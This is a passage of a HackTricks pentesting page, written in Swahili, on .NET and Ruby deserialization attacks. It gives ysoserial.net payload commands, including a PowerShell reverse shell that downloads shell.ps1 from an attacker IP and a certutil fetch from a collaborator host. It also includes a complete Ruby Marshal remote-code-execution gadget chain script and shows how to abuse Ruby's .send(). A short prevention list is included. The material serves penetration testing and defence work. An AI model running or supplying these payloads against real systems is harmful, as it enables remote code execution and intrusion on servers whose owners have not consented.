  • --output inatumika kuashiria ikiwa unataka exploit katika raw au base64 iliyokodishwa. Kumbuka kwamba ysoserial.net itakuwa inakodisha payload kwa kutumia UTF-16LE (encoding inayotumiwa kwa kawaida kwenye Windows) hivyo ikiwa unapata raw na unakodisha tu kutoka kwenye console ya linux unaweza kuwa na matatizo ya ulinganifu wa encoding ambayo yatakwamisha exploit kufanya kazi ipasavyo (katika sanduku la HTB JSON payload ilifanya kazi katika UTF-16LE na ASCII lakini hii haimaanishi itafanya kazi kila wakati).

  • --plugin ysoserial.net inasaidia plugins kuunda exploits kwa mifumo maalum kama ViewState

Zaidi ya vigezo vya ysoserial.net

  • --minify itatoa payload ndogo (ikiwa inawezekana)

  • --raf -f Json.Net -c "chochote" Hii itaonyesha vifaa vyote vinavyoweza kutumika na formatter iliyotolewa (`Json.Net katika kesi hii)

  • --sf xml unaweza kuonyesha gadget (-g) na ysoserial.net itatafuta formatters zinazojumuisha "xml" (bila kujali herufi)

Mifano ya ysoserial kuunda exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net ina parameta ya kuvutia sana ambayo inasaidia kuelewa vizuri jinsi kila exploit inavyofanya kazi: --test Ikiwa utaonyesha parameta hii ysoserial.net itajaribu exploit kwa ndani, hivyo unaweza kujaribu kama payload yako itafanya kazi ipasavyo. Parameta hii ni ya msaada kwa sababu ukikagua msimbo utapata vipande vya msimbo kama ifuatavyo (kutoka ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Hii inamaanisha kwamba ili kujaribu exploit, msimbo utaita serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In the code ya awali ina udhaifu kwa exploit iliyoundwa. Hivyo ikiwa utapata kitu kinachofanana katika programu ya .Net inamaanisha kwamba labda programu hiyo ina udhaifu pia. Kwa hivyo --test parameter inatupa uwezo wa kuelewa ni vipande vipi vya msimbo vina udhaifu kwa exploit ya deserialization ambayo ysoserial.net inaweza kuunda.

ViewState

Angalia hii POST kuhusu jinsi ya kujaribu ku exploit parameter ya __ViewState ya .Net ili kutekeleza msimbo wa kiholela. Ikiwa tayari unajua siri zinazotumiwa na mashine ya mwathirika, soma hii post kujua jinsi ya kutekeleza msimbo.

Prevention

Ili kupunguza hatari zinazohusiana na deserialization katika .Net:

  • Epuka kuruhusu mizunguko ya data kufafanua aina zao za vitu. Tumia DataContractSerializer au XmlSerializer inapowezekana.

  • Kwa JSON.Net, weka TypeNameHandling kuwa None: %%%TypeNameHandling = TypeNameHandling.None%%%

  • Epuka kutumia JavaScriptSerializer na JavaScriptTypeResolver.

  • Punguza aina ambazo zinaweza ku deserialized, ukielewa hatari zilizopo na aina za .Net, kama System.IO.FileInfo, ambayo inaweza kubadilisha mali za faili za seva, na hivyo kusababisha mashambulizi ya kukatiza huduma.

  • Kuwa makini na aina zenye mali hatari, kama System.ComponentModel.DataAnnotations.ValidationException yenye mali yake ya Value, ambayo inaweza kutumika vibaya.

  • Dhibiti kwa usalama uundaji wa aina ili kuzuia washambuliaji kuathiri mchakato wa deserialization, na kufanya hata DataContractSerializer au XmlSerializer kuwa na udhaifu.

  • Tekeleza udhibiti wa orodha nyeupe kwa kutumia SerializationBinder maalum kwa BinaryFormatter na JSON.Net.

  • Kuwa na habari kuhusu vifaa vya deserialization visivyo salama vilivyojulikana ndani ya .Net na kuhakikisha deserializers hazianzishi aina kama hizo.

  • Tenga msimbo wenye hatari kutoka kwa msimbo wenye ufikiaji wa mtandao ili kuepuka kufichua vifaa vilivyojulikana, kama System.Windows.Data.ObjectDataProvider katika programu za WPF, kwa vyanzo vya data visivyoaminika.

References

Ruby

Katika Ruby, serialization inarahisishwa na mbinu mbili ndani ya maktaba ya marshal. Mbinu ya kwanza, inayojulikana kama dump, inatumika kubadilisha kitu kuwa mzunguko wa byte. Mchakato huu unajulikana kama serialization. Kinyume chake, mbinu ya pili, load, inatumika kurudisha mzunguko wa byte kuwa kitu, mchakato unaojulikana kama deserialization.

Ili kulinda vitu vilivyotolewa, Ruby inatumia HMAC (Hash-Based Message Authentication Code), kuhakikisha uadilifu na ukweli wa data. Funguo inayotumika kwa kusudi hili inahifadhiwa katika moja ya maeneo kadhaa yanayowezekana:

  • config/environment.rb

  • config/initializers/secret_token.rb

  • config/secrets.yml

  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (maelezo zaidi katika https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Other RCE chain to exploit Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() method

Kama ilivyoelezwa katika ripoti hii ya udhaifu, ikiwa ingizo la mtumiaji lisilo safishwa linawasiliana na njia ya .send() ya kitu cha ruby, njia hii inaruhusu kuita njia nyingine yoyote ya kitu hicho kwa vigezo vyovyote.

Kwa mfano, kuita eval na kisha msimbo wa ruby kama parameter ya pili kutaruhusu kutekeleza msimbo wa kiholela:

<Object>.send('eval', '<user input with Ruby code>') == RCE

Zaidi ya hayo, ikiwa tu parameter moja ya .send() inadhibitiwa na mshambuliaji, kama ilivyotajwa katika andiko la awali, inawezekana kuita njia yoyote ya kitu ambacho hakihitaji hoja au ambazo hoja zake zina thamani za default. Kwa hili, inawezekana kuhesabu njia zote za kitu ili kupata baadhi ya njia za kuvutia ambazo zinakidhi mahitaji hayo.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Support HackTricks

Last updated